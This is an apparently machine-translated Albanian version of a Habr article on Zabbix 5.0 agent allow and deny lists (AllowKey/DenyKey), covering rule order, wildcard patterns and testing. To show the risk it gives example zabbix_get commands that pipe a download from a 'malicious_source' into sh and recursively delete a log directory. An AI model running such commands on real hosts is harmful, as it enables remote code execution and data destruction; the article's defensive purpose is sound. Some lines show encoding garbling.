
Mbështetje për lista të zezë dhe të bardhë për metrika në anën e agjentit
Tikhon Uskov, Inxhinier Integrimi, Zabbix
Problemet e sigurisë së të dhënave
Në Zabbix 5.0 është shtuar një veçori e re që përmirëson sigurinë në sistemet që përdorin Zabbix Agent dhe zëvendëson parametrin e vjetër EnableRemoteCommands.
Përmirësimi i sigurisë së sistemeve që përdorin agjentin është i bazuar në faktin se agjenti mund të kryejë një numër të madh veprimesh potencialisht të rrezikshme.
- Agjenti mund të mbledhë pothuajse çdo informacion, duke përfshirë atë konfidencial ose potencialisht të rrezikshëm, nga skedarët e konfigurimit, skedarët e regjistrit, skedarët e fjalëkalimeve ose çdo skedar tjetër.
Për shembull, duke përdorur utilitarin zabbix_get mund të qasje në listën e përdoruesve, katalogët e tyre të shtëpisë, skedarët e fjalëkalimeve etj.

Aksesi në të dhëna përmes utilitarit zabbix_get
VĂREJTJE. TĂ« dhĂ«nat mund tĂ« merren vetĂ«m nĂ«se agjenti ka tĂ« drejta pĂ«r tĂ« lexuar skedarin pĂ«rkatĂ«s.. Por, pĂ«r shembull, skedari /etc/passwd/ Ă«shtĂ« i qasshĂ«m pĂ«r tĂ« gjitha pĂ«rdoruesit.
- Agjenti gjithashtu mund të kryejë komanda potencialisht të rrezikshme. Për shembull, çelësi *system.run[]** lejon kryerjen e çdo komande të largët në nyjat e rrjetit, përfshirë ekzekutimin e skripteve nga ndërfaqja web të Zabbix që gjithashtu kryejnë komanda në anën e agjentit.
# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]
# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]- Në Linux, agjenti fillimisht aktivizohet pa privilegje root, ndërsa në Windows ai aktivizohet si shërbim nën emrin System dhe ka qasje të pakufizuar në sistemin e skedarëve. Në përputhje me këtë, nëse pas instalimit nuk janë bërë ndryshime në parametrat e Zabbix Agent, agjenti ka akses në regjistrin, sistemin e skedarëve dhe mund të kryejë kërkesa WMI.
Në versionet e mëparshme, parametrin EnableRemoteCommands=0 lejonte vetëm ndalimin e metrikave me çelësin *system.run[]** dhe ekzekutimin e skripteve nga ndërfaqja web, por nuk ofronte mundësinë për të kufizuar aksesin në skedarët e veçantë, për të miratuar ose ndaluar çelësat e veçantë që ishin injektuar me agjentin, ose për të kufizuar përdorimin e parameterve të veçantë.

Përdorimi i parametrave EnableRemoteCommand në versionet e hershme të Zabbix
AllowKey/DenyKey
Zabbix 5.0 ndihmon në mbrojtjen nga ky akses i paautorizuar përmes listave të bardha dhe të zeza për miratimin dhe ndalimin e metrikave në anën e agjentit.
Në Zabbix 5.0, të gjitha çelësat, duke përfshirë *system.run[]**, janë të lejuar, dhe janë shtuar dy parametra të rinj konfigurimi për agjentin:
AllowKey= â lejohet kontrollet;
DenyKey= â ndalon kontrollet;
ku â Ă«shtĂ« njĂ« model emri çelĂ«si me parametra, nĂ« tĂ« cilin pĂ«rdoren metasimbolĂ«t (*).
ĂelĂ«sat AllowKey dhe DenyKey lejojnĂ« ose ndalojnĂ« metrikat individuale sipas njĂ« modeli tĂ« caktuar. Ndryshe nga parametrat e tjerĂ« tĂ« konfigurimit, numri i parametrave tĂ« AllowKey/DenyKey nuk Ă«shtĂ« i kufizuar. Kjo lejon pĂ«rcaktimin e saktĂ« tĂ« asaj qĂ« agjenti mund tĂ« bĂ«jĂ« nĂ« sistem pĂ«rmes krijimit tĂ« njĂ« strukture kontrollesh â çelĂ«sa tĂ« ekzekutuar, ku rendi i shkrimit ka njĂ« rol tĂ« rĂ«ndĂ«sishĂ«m.
Rendi i rregullave
Rregullat kontrollohen në rendin në të cilin janë futur në skedarin e konfigurimit. Kontrolli i çelësit sipas rregullave ndodh deri në përputhjen e parë, dhe sa herë që çelësi i elementit të dhënash përputhet me modelin, ai lejohet ose ndalohet. Pas kësaj kontrolli i rregullave ndalet, dhe çelësat e tjerë injorohen.
Prandaj, nëse një element përshtatet si me rregullën lejuese ashtu edhe me atë ndaluese, rezultati do të varet nga cili rregull do të jetë i pari në skedarin e konfigurimit.

2 rregulla të ndryshme me të njëjtin model dhe çelës vfs.file.size[/tmp/file]
Rendi i përdorimit të çelësave AllowKey/DenyKey:
- rregulla të sakta,
- rregulla të përgjithshme,
- rregull ndalues.
Për shembull, nëse ju nevojitet qasje në skedarët në një dosje të caktuar, është e nevojshme fillimisht të lejoni qasjen në to, pastaj të ndaloni gjithçka tjetër që nuk bie nën lejimet e vendosura. Nëse rregulli ndalues do të përdoret fillimisht, qasja në dosje do të ndalohet.

Rendi i saktë
Nëse është e nevojshme të lejohet ekzekutimi i 2 utiliteteve përmes *system.run[]**, dhe në radhë të parë do të tregohet rregulli ndalues, utilitetet nuk do të ekzekutohen, sepse modeli i parë do të përputhet gjithmonë me çdo çelës, dhe rregullat e mëpasshme do të injorohen.

Rendi i gabuar
Modelet
Rregullat kryesore
Modeli është një shprehje me karaktere zëvendësues (wildcard). Metasimboli (*) përputhet me çdo numër të çdo simboli në një pozita të caktuar. Metasimbolët mund të përdoren si në emrin e çelësit ashtu edhe në parametra. Për shembull, mund të përcaktohet ashpërsisht teksti i parametrave të parë, ndërsa e dyta të caktohet si wildcard.
Parametrat duhet të mbyllen në katrorë [].
system.run[*â gabimvfs.file*.txt]â gabimvfs.file.*[*]â e saktĂ«
Shembuj të përdorimit të wildcard.
- Në emrin e çelësit dhe në parametrin. Në këtë rast çelësi nuk korrespondon me një çelës të ngjashëm, i cili nuk përmban parametrin, pasi në modelin e specifikuar ne treguam se duam të marrim një fund të caktuar të emrit të çelësit dhe një grup të caktuar parametrash.
- Nëse në model nuk janë përdorur katrorët, modeli lejon të gjitha çelësat që nuk përmbajnë parametrat dhe ndalon të gjithë çelësat me parametrat e specifikuar.
- Nëse çelësi është shkruar plotësisht dhe parametrat janë përcaktuar si wildcard, ai do të korrespondon me çdo çelës të ngjashëm me çdo parametrat dhe nuk do të korrespondoni me çelësin pa katrorët, dmth do të lejohet ose ndalohet.

Rregullat për plotësimin e parametrave.
- Nëse bëhet fjalë për përdorimin e një çelësi me parametrat, parametrat duhet të shkruhen në skedarin e konfigurimit. Parametrat duhet të përcaktohen si metasimbol. Duhet të jeni të kujdesshëm në ndalimin e aksesit në një skedar të caktuar dhe të merrni parasysh se çfarë informacioni do të mund të japë metrika për variante të ndryshme të shkruarjes - me parametrat dhe pa ata.

Veçoritë e shkruarjes së çelësave me parametrat
- Nëse çelësi është i specifikuar me parametrat, por parametrat janë opsional dhe përcaktohen si metasimbol, çelësi pa parametrat do të lejohet. Për shembull, nëse dëshironi të ndaloni marrjen e informacionit rreth ngarkesës së CPU-së dhe tregoni se çelësi system.cpu.load[*] duhet të ndalohet, mos harroni se çelësi pa parametrat do të kthejë mesataren e ngarkesës.

Rregullat për plotësimin e parametrave
Shënime
Configuration
- Disa rregulla nuk mund të ndryshohen nga përdoruesi, për shembull, rregullat e zbulimit (discovery) ose autoregjistrimit të agenëve. Rregullat AllowKey/DenyKey nuk prekin parametrat e mëposhtëm:
â HostnameItem
â HostMetadataItem
â HostInterfaceItem
VĂREJTJE. NĂ«se administratori ndalon njĂ« çelĂ«s tĂ« caktuar, nĂ« kĂ«rkesĂ«n Zabbix nuk jepet informacion se pĂ«rse metrika ose çelĂ«si i pĂ«rkasin kategorisĂ« âNOTSUPPORTEDâ. NĂ« skedarĂ«t e log-ut tĂ« agjentit informacioni pĂ«r ndalimet e ekzekutimit tĂ« komandave tĂ« largĂ«ta gjithashtu nuk shfaqet. Kjo bĂ«het pĂ«r arsye tĂ« sigurisĂ«, por mund tĂ« komplikohet debugging, nĂ«se metrikat bien nĂ« njĂ« kategori tĂ« papĂ«rshtatshme pĂ«r ndonjĂ« arsye..
- Nuk duhet të pritet një rend të caktuar në lidhjen e skedarëve të jashtëm të konfigurimit (për shembull, në rend alfabetik).
Utilitetet e komandës
Pas vendosjes së rregullave, duhet të siguroheni që gjithçka është konfiguruar siç duhet.
Mund të përdorni një nga tri opsionet:
- Shtoni metrikën në Zabbix.
- Testoni me anĂ«n e zabbix_agentd. Agjenti Zabbix me opsionin -print (-p) shfaq tĂ« gjitha çelĂ«sat (tĂ« cilĂ«t lejohet sipas parazgjedhjes), pĂ«rveç atyre qĂ« nuk lejohet nga konfigurimi. NdĂ«rsa me opsionin -test (-t) pĂ«r njĂ« çelĂ«s tĂ« ndaluar do tĂ« kthejĂ« âĂelĂ«si i artikullit tĂ« pa mbĂ«shteturâ.
- Testoni me anĂ«n e zabbix_get. Vegla zabbix_get me opsionin -k do tĂ« kthejĂ« âZBX_NOTSUPPORTED: MetrikĂ« e panjohurâ.
Lejo ose ndalo
Mund të ndaloni qasjen në file dhe të siguroheni, për shembull, me anë të veglës zabbix_get, që qasja në file është e ndaluar.

**
VĂREJTJE. ThonjĂ«zat nĂ« parametĂ«r injorohen.
Megjithatë, qasja në një file të tillë mund të lejohet nëpërmjet një rruge tjetër. Për shembull, nëse është e lidhur me një simp-link.

Rekomandohet tĂ« kontrolloni variante tĂ« ndryshme tĂ« aplikimit tĂ« rregullave tĂ« vendosura, si dhe tĂ« merrni parasysh mundĂ«sitĂ« pĂ«r tâi anashkaluar ndalimet.
Pyetje dhe përgjigje
Pyetje. Pse për përshkrimin e rregullave, lejeve dhe ndalimeve është zgjedhur një skemë e tillë komplekse modeli me gjuhën e saj? Pse nuk ishte e mundur të përdoren, për shembull, shprehjet e rregullta që përdor Zabbix?
Përgjigje. Kjo është një çështje e performancës së regex, pasi agjenti zakonisht është vetëm një dhe ai kontrollon një sasi të madhe metrikash. Regex është një operacion mjaft i rëndë, dhe ne nuk mund të kontrollojmë mijëra metrika në këtë mënyrë. Wildcards janë një zgjidhje universale, e përdorur gjerësisht dhe e thjeshtë..
Pyetje. A nuk lidhen skedarët Include në rend alfabetik?
Përgjigje. Sa di unë, është faktikisht e pamundur të parashikohet renditja e aplikimit të rregullave, nëse i shpërndani rregullat në skedarë të ndryshëm. Unë rekomandoj të grumbulloni të gjitha rregullat AllowKey/DenyKey në një skedar të vetëm Include, sepse ato ndërveprojnë me njëra-tjetrën, dhe të lidhni këtë skedar..
Pyetje. NĂ« Zabbix 5.0 opsioni âEnableRemoteCommands=â nĂ« skedarin e konfigurimit mungon, dhe janĂ« tĂ« disponueshme vetĂ«m AllowKey/DenyKey?
Përgjigja. Po, e saktë..
Faleminderit për vëmendjen!
Burimi: habr.com
